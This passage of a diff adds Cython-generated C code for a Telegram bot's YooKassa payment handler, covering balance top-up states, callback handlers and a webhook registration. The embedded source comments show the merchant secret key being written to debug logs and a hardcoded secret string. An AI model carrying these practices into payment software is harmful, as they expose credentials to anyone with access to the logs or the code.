ID: {YOOKASSA_SHOP_ID}") + * logger.debug(f"Secret Key: {YOOKASSA_SECRET_KEY}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Configuration); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (__Pyx_PyObject_SetAttrStr(__pyx_t_3, __pyx_n_s_secret_key, __pyx_t_2) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":33 + * Configuration.account_id = YOOKASSA_SHOP_ID + * Configuration.secret_key = YOOKASSA_SECRET_KEY + * logger.debug(f"Account ID: {YOOKASSA_SHOP_ID}") # <<<<<<<<<<<<<< + * logger.debug(f"Secret Key: {YOOKASSA_SECRET_KEY}") + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_debug); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Account_ID, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yookassa_pay.py":34 + * Configuration.secret_key = YOOKASSA_SECRET_KEY + * logger.debug(f"Account ID: {YOOKASSA_SHOP_ID}") + * logger.debug(f"Secret Key: {YOOKASSA_SECRET_KEY}") # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Secret_Key, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":30 + * MAIN_SECRET = "PIRAT4ETO5DLYA0TEBYA" + * + * if YOOKASSA_ENABLE: # <<<<<<<<<<<<<< + * Configuration.account_id = YOOKASSA_SHOP_ID + * Configuration.secret_key = YOOKASSA_SECRET_KEY + */ + } + + /* "handlers/payments/yookassa_pay.py":37 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_yookassa = State() + * waiting_for_payment_confirmation_yookassa = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error); + __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PEP560_update_bases(__pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_CalculateMetaclass(NULL, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_Py3MetaclassPrepare(__pyx_t_3, __pyx_t_2, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_yookassa_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (__pyx_t_2 != __pyx_t_5) { + if (unlikely((PyDict_SetItemString(__pyx_t_6, "__orig_bases__", __pyx_t_5) < 0))) __PYX_ERR(0, 37, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yookassa_pay.py":38 + * + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_yookassa = State() # <<<<<<<<<<<<<< + * waiting_for_payment_confirmation_yookassa = State() + * entering_custom_amount_yookassa = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_choosing_amount_yookassa, __pyx_t_5) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yookassa_pay.py":39 + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_yookassa = State() + * waiting_for_payment_confirmation_yookassa = State() # <<<<<<<<<<<<<< + * entering_custom_amount_yookassa = State() + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_5) < 0) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yookassa_pay.py":40 + * choosing_amount_yookassa = State() + * waiting_for_payment_confirmation_yookassa = State() + * entering_custom_amount_yookassa = State() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_entering_custom_amount_yookassa, __pyx_t_5) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yookassa_pay.py":37 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_yookassa = State() + * waiting_for_payment_confirmation_yookassa = State() + */ + __pyx_t_5 = __Pyx_Py3ClassCreate(__pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_t_2, __pyx_t_6, NULL, 0, 0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_5) < 0) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":43 + * + * + * @router.callback_query(F.data == "pay_yookassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_yookassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyObject_RichCompare(__pyx_t_6, __pyx_n_u_pay_yookassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 43, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 43, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 43, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_1process_callback_pay_yookassa, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_yookassa, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_yookassa, __pyx_t_2) < 0) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":101 + * + * + * @router.callback_query(F.data.startswith("yookassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_startswith); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__28, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 101, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 101, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__5)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_6) < 0) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yookassa_pay.py":174 + * + * + * async def yookassa_webhook(request): # <<<<<<<<<<<<<< + * """ + * Yookassa . + */ + __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_7yookassa_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_yookassa_webhook, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__13)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_yookassa_webhook, __pyx_t_6) < 0) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yookassa_pay.py":218 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yookassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_F); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = PyObject_RichCompare(__pyx_t_2, __pyx_n_u_enter_custom_amount_yookassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 218, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_10process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__16)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_6) < 0) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yookassa_pay.py":233 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_router); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_entering_custom_amount_yookassa); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 233, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 233, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yookassa_pay_13process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_yookassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__20)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_2) < 0) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":1 + * import uuid # <<<<<<<<<<<<<< + * from typing import Any + * + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); + if (__pyx_m) { + if (__pyx_d && stringtab_initialized) { + __Pyx_AddTraceback("init handlers.payments.yookassa_pay", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + #if !CYTHON_USE_MODULE_STATE + Py_CLEAR(__pyx_m); + #else + Py_DECREF(__pyx_m); + if (pystate_addmodule_run) { + PyObject *tp, *value, *tb; + PyErr_Fetch(&tp, &value, &tb); + PyState_RemoveModule(&__pyx_moduledef); + PyErr_Restore(tp, value, tb); + } + #endif + } else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_ImportError, "init handlers.payments.yookassa_pay"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if CYTHON_PEP489_MULTI_PHASE_INIT + return (__pyx_m != NULL) ? 0 : -1; + #elif 